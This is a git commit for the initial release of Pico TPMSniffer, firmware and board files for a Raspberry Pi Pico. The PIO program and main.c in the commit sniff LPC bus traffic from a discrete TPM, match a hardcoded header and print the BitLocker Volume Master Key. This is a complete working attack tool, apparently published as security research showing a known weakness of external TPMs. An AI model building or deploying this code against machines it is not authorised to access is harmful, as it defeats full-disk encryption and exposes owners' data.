Initial public release

This commit is contained in:
Thomas Roth
2024-02-03 18:44:05 +01:00
commit 84684a22f3
10 changed files with 15836 additions and 0 deletions

23
CMakeLists.txt Normal file
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cmake_minimum_required(VERSION 3.13)
# initialize the SDK based on PICO_SDK_PATH
# note: this must happen before project()
include(pico_sdk_import.cmake)
project(tpm_sniffer)
pico_sdk_init()
add_executable(tpm_sniffer)
pico_generate_pio_header(tpm_sniffer ${CMAKE_CURRENT_LIST_DIR}/lpc_sniffer.pio)
target_sources(tpm_sniffer PRIVATE main.c)
target_link_libraries(tpm_sniffer PRIVATE
pico_stdlib
hardware_pio
hardware_flash
pico_multicore
)
pico_enable_stdio_usb(tpm_sniffer 1)
pico_add_extra_outputs(tpm_sniffer)

15
LICENSE Normal file
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Pico TPMSniffer - A Raspberry-Pi Pico based tool for sniffing LPC TPMs.
Copyright (C) 2024 Thomas 'stacksmashing' Roth - code@stacksmashing.net
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 3 of the License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.

0
Readme.md Normal file
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13739
hardware/tpmsniffer.kicad_pcb Normal file

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{
"board": {
"active_layer": 37,
"active_layer_preset": "All Layers",
"auto_track_width": true,
"hidden_netclasses": [],
"hidden_nets": [],
"high_contrast_mode": 0,
"net_color_mode": 1,
"opacity": {
"images": 0.6,
"pads": 1.0,
"tracks": 1.0,
"vias": 1.0,
"zones": 0.6
},
"selection_filter": {
"dimensions": true,
"footprints": true,
"graphics": true,
"keepouts": true,
"lockedItems": false,
"otherItems": true,
"pads": true,
"text": true,
"tracks": true,
"vias": true,
"zones": true
},
"visible_items": [
0,
1,
2,
3,
4,
5,
8,
9,
10,
11,
12,
13,
15,
16,
17,
18,
19,
20,
21,
22,
23,
24,
25,
26,
27,
28,
29,
30,
32,
33,
34,
35,
36,
39,
40
],
"visible_layers": "fffffff_ffffffff",
"zone_display_mode": 0
},
"meta": {
"filename": "tpmsniffer.kicad_prl",
"version": 3
},
"project": {
"files": []
}
}

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{
"board": {
"3dviewports": [],
"design_settings": {
"defaults": {
"board_outline_line_width": 0.09999999999999999,
"copper_line_width": 0.19999999999999998,
"copper_text_italic": false,
"copper_text_size_h": 1.5,
"copper_text_size_v": 1.5,
"copper_text_thickness": 0.3,
"copper_text_upright": false,
"courtyard_line_width": 0.049999999999999996,
"dimension_precision": 4,
"dimension_units": 3,
"dimensions": {
"arrow_length": 1270000,
"extension_offset": 500000,
"keep_text_aligned": true,
"suppress_zeroes": false,
"text_position": 0,
"units_format": 1
},
"fab_line_width": 0.09999999999999999,
"fab_text_italic": false,
"fab_text_size_h": 1.0,
"fab_text_size_v": 1.0,
"fab_text_thickness": 0.15,
"fab_text_upright": false,
"other_line_width": 0.15,
"other_text_italic": false,
"other_text_size_h": 1.0,
"other_text_size_v": 1.0,
"other_text_thickness": 0.15,
"other_text_upright": false,
"pads": {
"drill": 0.762,
"height": 1.524,
"width": 1.524
},
"silk_line_width": 0.15,
"silk_text_italic": false,
"silk_text_size_h": 1.0,
"silk_text_size_v": 1.0,
"silk_text_thickness": 0.15,
"silk_text_upright": false,
"zones": {
"min_clearance": 0.5
}
},
"diff_pair_dimensions": [],
"drc_exclusions": [],
"meta": {
"version": 2
},
"rule_severities": {
"annular_width": "error",
"clearance": "error",
"connection_width": "warning",
"copper_edge_clearance": "error",
"copper_sliver": "warning",
"courtyards_overlap": "error",
"diff_pair_gap_out_of_range": "error",
"diff_pair_uncoupled_length_too_long": "error",
"drill_out_of_range": "error",
"duplicate_footprints": "warning",
"extra_footprint": "warning",
"footprint": "error",
"footprint_type_mismatch": "ignore",
"hole_clearance": "error",
"hole_near_hole": "error",
"invalid_outline": "error",
"isolated_copper": "warning",
"item_on_disabled_layer": "error",
"items_not_allowed": "error",
"length_out_of_range": "error",
"lib_footprint_issues": "warning",
"lib_footprint_mismatch": "warning",
"malformed_courtyard": "error",
"microvia_drill_out_of_range": "error",
"missing_courtyard": "ignore",
"missing_footprint": "warning",
"net_conflict": "warning",
"npth_inside_courtyard": "ignore",
"padstack": "warning",
"pth_inside_courtyard": "ignore",
"shorting_items": "error",
"silk_edge_clearance": "warning",
"silk_over_copper": "warning",
"silk_overlap": "warning",
"skew_out_of_range": "error",
"solder_mask_bridge": "error",
"starved_thermal": "error",
"text_height": "warning",
"text_thickness": "warning",
"through_hole_pad_without_hole": "error",
"too_many_vias": "error",
"track_dangling": "warning",
"track_width": "error",
"tracks_crossing": "error",
"unconnected_items": "error",
"unresolved_variable": "error",
"via_dangling": "warning",
"zones_intersect": "error"
},
"rules": {
"max_error": 0.005,
"min_clearance": 0.0,
"min_connection": 0.0,
"min_copper_edge_clearance": 0.0,
"min_hole_clearance": 0.25,
"min_hole_to_hole": 0.25,
"min_microvia_diameter": 0.19999999999999998,
"min_microvia_drill": 0.09999999999999999,
"min_resolved_spokes": 2,
"min_silk_clearance": 0.0,
"min_text_height": 0.7999999999999999,
"min_text_thickness": 0.08,
"min_through_hole_diameter": 0.3,
"min_track_width": 0.0,
"min_via_annular_width": 0.09999999999999999,
"min_via_diameter": 0.5,
"solder_mask_clearance": 0.0,
"solder_mask_min_width": 0.0,
"solder_mask_to_copper_clearance": 0.0,
"use_height_for_length_calcs": true
},
"teardrop_options": [
{
"td_allow_use_two_tracks": true,
"td_curve_segcount": 5,
"td_on_pad_in_zone": false,
"td_onpadsmd": true,
"td_onroundshapesonly": false,
"td_ontrackend": false,
"td_onviapad": true
}
],
"teardrop_parameters": [
{
"td_curve_segcount": 0,
"td_height_ratio": 1.0,
"td_length_ratio": 0.5,
"td_maxheight": 2.0,
"td_maxlen": 1.0,
"td_target_name": "td_round_shape",
"td_width_to_size_filter_ratio": 0.9
},
{
"td_curve_segcount": 0,
"td_height_ratio": 1.0,
"td_length_ratio": 0.5,
"td_maxheight": 2.0,
"td_maxlen": 1.0,
"td_target_name": "td_rect_shape",
"td_width_to_size_filter_ratio": 0.9
},
{
"td_curve_segcount": 0,
"td_height_ratio": 1.0,
"td_length_ratio": 0.5,
"td_maxheight": 2.0,
"td_maxlen": 1.0,
"td_target_name": "td_track_end",
"td_width_to_size_filter_ratio": 0.9
}
],
"track_widths": [],
"via_dimensions": [],
"zones_allow_external_fillets": false
},
"layer_presets": [],
"viewports": []
},
"boards": [],
"cvpcb": {
"equivalence_files": []
},
"erc": {
"erc_exclusions": [],
"meta": {
"version": 0
},
"pin_map": [
[
0,
0,
0,
0,
0,
0,
1,
0,
0,
0,
0,
2
],
[
0,
2,
0,
1,
0,
0,
1,
0,
2,
2,
2,
2
],
[
0,
0,
0,
0,
0,
0,
1,
0,
1,
0,
1,
2
],
[
0,
1,
0,
0,
0,
0,
1,
1,
2,
1,
1,
2
],
[
0,
0,
0,
0,
0,
0,
1,
0,
0,
0,
0,
2
],
[
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
2
],
[
1,
1,
1,
1,
1,
0,
1,
1,
1,
1,
1,
2
],
[
0,
0,
0,
1,
0,
0,
1,
0,
0,
0,
0,
2
],
[
0,
2,
1,
2,
0,
0,
1,
0,
2,
2,
2,
2
],
[
0,
2,
0,
1,
0,
0,
1,
0,
2,
0,
0,
2
],
[
0,
2,
1,
1,
0,
0,
1,
0,
2,
0,
0,
2
],
[
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
],
"rule_severities": {
"bus_definition_conflict": "error",
"bus_entry_needed": "error",
"bus_to_bus_conflict": "error",
"bus_to_net_conflict": "error",
"conflicting_netclasses": "error",
"different_unit_footprint": "error",
"different_unit_net": "error",
"duplicate_reference": "error",
"duplicate_sheet_names": "error",
"endpoint_off_grid": "warning",
"extra_units": "error",
"global_label_dangling": "warning",
"hier_label_mismatch": "error",
"label_dangling": "error",
"lib_symbol_issues": "warning",
"missing_bidi_pin": "warning",
"missing_input_pin": "warning",
"missing_power_pin": "error",
"missing_unit": "warning",
"multiple_net_names": "warning",
"net_not_bus_member": "warning",
"no_connect_connected": "warning",
"no_connect_dangling": "warning",
"pin_not_connected": "error",
"pin_not_driven": "error",
"pin_to_pin": "error",
"power_pin_not_driven": "error",
"similar_labels": "warning",
"simulation_model_issue": "error",
"unannotated": "error",
"unit_value_mismatch": "error",
"unresolved_variable": "error",
"wire_dangling": "error"
}
},
"libraries": {
"pinned_footprint_libs": [],
"pinned_symbol_libs": []
},
"meta": {
"filename": "tpmsniffer.kicad_pro",
"version": 1
},
"net_settings": {
"classes": [
{
"bus_width": 12,
"clearance": 0.2,
"diff_pair_gap": 0.25,
"diff_pair_via_gap": 0.25,
"diff_pair_width": 0.2,
"line_style": 0,
"microvia_diameter": 0.3,
"microvia_drill": 0.1,
"name": "Default",
"pcb_color": "rgba(0, 0, 0, 0.000)",
"schematic_color": "rgba(0, 0, 0, 0.000)",
"track_width": 0.25,
"via_diameter": 0.8,
"via_drill": 0.4,
"wire_width": 6
}
],
"meta": {
"version": 3
},
"net_colors": null,
"netclass_assignments": null,
"netclass_patterns": []
},
"pcbnew": {
"last_paths": {
"gencad": "",
"idf": "",
"netlist": "",
"specctra_dsn": "",
"step": "",
"vrml": ""
},
"page_layout_descr_file": ""
},
"schematic": {
"annotate_start_num": 0,
"drawing": {
"dashed_lines_dash_length_ratio": 12.0,
"dashed_lines_gap_length_ratio": 3.0,
"default_line_thickness": 6.0,
"default_text_size": 50.0,
"field_names": [],
"intersheets_ref_own_page": false,
"intersheets_ref_prefix": "",
"intersheets_ref_short": false,
"intersheets_ref_show": false,
"intersheets_ref_suffix": "",
"junction_size_choice": 3,
"label_size_ratio": 0.375,
"pin_symbol_size": 25.0,
"text_offset_ratio": 0.15
},
"legacy_lib_dir": "",
"legacy_lib_list": [],
"meta": {
"version": 1
},
"net_format_name": "",
"page_layout_descr_file": "",
"plot_directory": "",
"spice_current_sheet_as_root": false,
"spice_external_command": "spice \"%I\"",
"spice_model_current_sheet_as_root": true,
"spice_save_all_currents": false,
"spice_save_all_voltages": false,
"subpart_first_id": 65,
"subpart_id_separator": 0
},
"sheets": [
[
"692c4062-35b7-4554-aa43-8ed8c0452638",
""
]
],
"text_variables": {}
}

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lpc_sniffer.pio Normal file
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; All rights reserved. Copyright by Thomas Roth. code@stacksmashing.net
.program lpc_sniffer
.side_set 1 opt
entry:
; Wait for LFRAME (ABSOLUTE pin 0) to go low
SET X, 15 side 0
WAIT 1 GPIO 5
WAIT 0 GPIO 5; ~0ns
NOP
NOP
NOP
NOP
read_target:
IN PINS 4 side 1; starts at ~20ns | read 0/40ns
NOP side 1; first: 10ns | 30ns second round
NOP side 0 [3]; read 10ns
JMP X-- read_target [1] side 0 ; read 20ns
PUSH
JMP entry
% c-sdk {
static inline void lpc_sniffer_program_init(PIO pio, uint sm, uint offset, uint base_pin, uint debug_pin) {
pio_sm_config c = lpc_sniffer_program_get_default_config(offset);
// We have no out pins
// sm_config_set_out_pins(&c, base_pin, 1);
//pio_gpio_init(pio, 0);
for(int i=0; i < 4; i++) {
pio_gpio_init(pio, base_pin + i);
}
//hw_set_bits(&pio->input_sync_bypass, 1);
// frame pin
pio_gpio_init(pio, 0);
pio_gpio_init(pio, 5);
pio_gpio_init(pio, debug_pin);
// Set all 4 pins to input (false = input)
pio_sm_set_consecutive_pindirs(pio, sm, 0, 1, false);
pio_sm_set_consecutive_pindirs(pio, sm, base_pin, 4, false);
sm_config_set_in_pins(&c, base_pin);
sm_config_set_sideset_pins(&c, debug_pin);
pio_sm_set_consecutive_pindirs(pio, sm, debug_pin, 1, true);
sm_config_set_in_shift (&c, false, true, 32);
// Chain FIFOs together as we will *only* receive.
// This will ensure we will not block.
sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_RX);
float div = (float)clock_get_hz(clk_sys) / 200000000.0;
sm_config_set_clkdiv(&c, div);
// Load our configuration, and jump to the start of the program
pio_sm_init(pio, sm, offset, &c);
// Set the state machine running
pio_sm_set_enabled(pio, sm, true);
}
%}

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main.c Normal file
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#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include "pico/stdlib.h"
#include "hardware/pio.h"
#include "hardware/clocks.h"
#include "pico/multicore.h"
// Our assembled program:
#include "lpc_sniffer.pio.h"
#include "hardware/flash.h"
unsigned char reverse(unsigned char b) {
b = (b & 0xF0) >> 4 | (b & 0x0F) << 4;
b = (b & 0xCC) >> 2 | (b & 0x33) << 2;
b = (b & 0xAA) >> 1 | (b & 0x55) << 1;
return b;
}
static inline char reverse_nibbles(char c) {
return ((c<<4) & 0xF0) | ((c >> 4) & 0xFF);
}
static inline uint32_t fix_bit_format(uint32_t input) {
char a1 = (input >> 24) & 0xFF;
char a2 = (input >> 16) & 0xFF;
char a3 = (input >> 8) & 0xFF;
char a4 = input & 0xFF;
return (a1 << 24) | (a2 << 16) | (a3 << 8) | a4;
}
enum state {
STATE_IDLE,
STATE_READING
};
static inline uint32_t fetch(PIO pio, uint sm) {
uint32_t result_raw = pio_sm_get_blocking(pio, sm);
uint32_t result = fix_bit_format(result_raw);
return result;
}
static inline uint32_t fetch_message(PIO pio, uint sm) {
while (1) {
uint32_t result = fetch(pio, sm);
// Only act on 0b0101 header (TPM comms)
if((result & 0xF0000000) != 0x50000000) {
continue;
}
// Detect if read or write
bool is_write = false;
if((result & 0x02000000) == 0x02000000) {
is_write = true;
} else if((result & 0x0F000000) != 0) {
continue;
}
// Extract address
uint16_t address = (result >> 8) & 0xFFFF;
// Writes are easy
if(is_write) {
// Data is encoded LSB first, so we reverse these bits
uint8_t data = reverse_nibbles(result & 0xFF);
// printf("Write 0x%04X Data 0x%02X\n", address, data & 0xFF);
// ignore the next data part
fetch(pio, sm);
return 0x02000000 | address << 8 | data;
} else {
// Reads are more involved
// First we skip the tar (1 byte/2 cycles), so we just start at the next result byte
// next we iterate over the sync til it's 0.
uint32_t result2 = fetch(pio, sm);
// Start by iterating over the sync bit. We wait til this is 0
unsigned int i;
// printf("Result: %08X\n", result2);
for(i = 7; i > 1; i--) {
// printf("%08X %d\n", (result2 >> (i*4)) & 0xF, i);
if(((result2 >> (i*4)) & 0xF) == 0x0) {
// Sync done
break;
}
}
// i is 1 here, even when result 2 is 0xF0001FFF
uint8_t data = reverse_nibbles((result2 >> ((i-2)*4)) & 0xFF );
return address << 8 | data;
}
}
}
static const char vmk_header[] = {
0x2c, 0x00, 0x00, 0x0, 0x01, 0x00, 0x00, 0x00, 0x03, 0x20, 0x00, 0x00
};
#define MAXCOUNT 512
uint32_t buf[MAXCOUNT];
char message_buffer[4096*2];
volatile size_t msg_buffer_ptr = 0;
void core1_entry() {
// 12 byte header + 32 byte data
char msg_buffer[12 + 32];
memset(msg_buffer, 0, 44);
PIO pio = pio0;
uint offset = pio_add_program(pio, &lpc_sniffer_program);
uint sm = pio_claim_unused_sm(pio, true);
lpc_sniffer_program_init(pio, sm, offset, 1, 10);
size_t bufpos = 0;
while(1) {
uint32_t message = fetch_message(pio, sm);
// It's a read of the right address
if((message & 0x0f00ff00) == 0x00002400) {
char message_char = message & 0xff;
message_buffer[msg_buffer_ptr++] = message_char;
if(message_char == 0x2c) {
multicore_fifo_push_blocking(msg_buffer_ptr);
}
}
}
}
int main() {
set_sys_clock_khz(270000, true); // 158us
stdio_init_all();
sleep_ms(5000);
puts(" _ ");
puts("|_) o _ _ ");
puts("| | (_ (_) ");
puts("");
puts("88P'888'Y88 888 88e e e dP\"8 ,e, dP,e, dP,e, ");
puts("P' 888 'Y 888 888D d8b d8b C8b Y 888 8e \" 8b \" 8b \" ,e e, 888,8, ");
puts(" 888 888 88\" e Y8b Y8b Y8b 888 88b 888 888888 888888 d88 88b 888 \" ");
puts(" 888 888 d8b Y8b Y8b b Y8D 888 888 888 888 888 888 , 888 ");
puts(" 888 888 d888b Y8b Y8b 8edP 888 888 888 888 888 \"YeeP\" 888 ");
puts(" - by stacksmashing");
puts("");
printf("[+] Ready to sniff!\n");
multicore_launch_core1(core1_entry);
while(1) {
uint32_t popped = multicore_fifo_pop_blocking();
// Wait til the msg_buffer_ptr is full
while((msg_buffer_ptr - popped) < 44) {
}
if(memcmp(message_buffer + popped, vmk_header, 5) == 0) {
printf("[+] Bitlocker Volume Master Key found:\n");
for(int i=0; i < 2; i++) {
printf("[+] ");
for(int j=0; j < 2; j++) {
for(int k=0; k < 8; k++) {
printf("%02x ", message_buffer[popped + 12 + (i * 16) + (j * 8) + k]);
}
printf(" ");
}
puts("");
}
}
}
}

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pico_sdk_import.cmake Normal file
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# This is a copy of <PICO_SDK_PATH>/external/pico_sdk_import.cmake
# This can be dropped into an external project to help locate this SDK
# It should be include()ed prior to project()
if (DEFINED ENV{PICO_SDK_PATH} AND (NOT PICO_SDK_PATH))
set(PICO_SDK_PATH $ENV{PICO_SDK_PATH})
message("Using PICO_SDK_PATH from environment ('${PICO_SDK_PATH}')")
endif ()
if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT} AND (NOT PICO_SDK_FETCH_FROM_GIT))
set(PICO_SDK_FETCH_FROM_GIT $ENV{PICO_SDK_FETCH_FROM_GIT})
message("Using PICO_SDK_FETCH_FROM_GIT from environment ('${PICO_SDK_FETCH_FROM_GIT}')")
endif ()
if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT_PATH} AND (NOT PICO_SDK_FETCH_FROM_GIT_PATH))
set(PICO_SDK_FETCH_FROM_GIT_PATH $ENV{PICO_SDK_FETCH_FROM_GIT_PATH})
message("Using PICO_SDK_FETCH_FROM_GIT_PATH from environment ('${PICO_SDK_FETCH_FROM_GIT_PATH}')")
endif ()
set(PICO_SDK_PATH "${PICO_SDK_PATH}" CACHE PATH "Path to the Raspberry Pi Pico SDK")
set(PICO_SDK_FETCH_FROM_GIT "${PICO_SDK_FETCH_FROM_GIT}" CACHE BOOL "Set to ON to fetch copy of SDK from git if not otherwise locatable")
set(PICO_SDK_FETCH_FROM_GIT_PATH "${PICO_SDK_FETCH_FROM_GIT_PATH}" CACHE FILEPATH "location to download SDK")
if (NOT PICO_SDK_PATH)
if (PICO_SDK_FETCH_FROM_GIT)
include(FetchContent)
set(FETCHCONTENT_BASE_DIR_SAVE ${FETCHCONTENT_BASE_DIR})
if (PICO_SDK_FETCH_FROM_GIT_PATH)
get_filename_component(FETCHCONTENT_BASE_DIR "${PICO_SDK_FETCH_FROM_GIT_PATH}" REALPATH BASE_DIR "${CMAKE_SOURCE_DIR}")
endif ()
# GIT_SUBMODULES_RECURSE was added in 3.17
if (${CMAKE_VERSION} VERSION_GREATER_EQUAL "3.17.0")
FetchContent_Declare(
pico_sdk
GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk
GIT_TAG master
GIT_SUBMODULES_RECURSE FALSE
)
else ()
FetchContent_Declare(
pico_sdk
GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk
GIT_TAG master
)
endif ()
if (NOT pico_sdk)
message("Downloading Raspberry Pi Pico SDK")
FetchContent_Populate(pico_sdk)
set(PICO_SDK_PATH ${pico_sdk_SOURCE_DIR})
endif ()
set(FETCHCONTENT_BASE_DIR ${FETCHCONTENT_BASE_DIR_SAVE})
else ()
message(FATAL_ERROR
"SDK location was not specified. Please set PICO_SDK_PATH or set PICO_SDK_FETCH_FROM_GIT to on to fetch from git."
)
endif ()
endif ()
get_filename_component(PICO_SDK_PATH "${PICO_SDK_PATH}" REALPATH BASE_DIR "${CMAKE_BINARY_DIR}")
if (NOT EXISTS ${PICO_SDK_PATH})
message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' not found")
endif ()
set(PICO_SDK_INIT_CMAKE_FILE ${PICO_SDK_PATH}/pico_sdk_init.cmake)
if (NOT EXISTS ${PICO_SDK_INIT_CMAKE_FILE})
message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' does not appear to contain the Raspberry Pi Pico SDK")
endif ()
set(PICO_SDK_PATH ${PICO_SDK_PATH} CACHE PATH "Path to the Raspberry Pi Pico SDK" FORCE)
include(${PICO_SDK_INIT_CMAKE_FILE})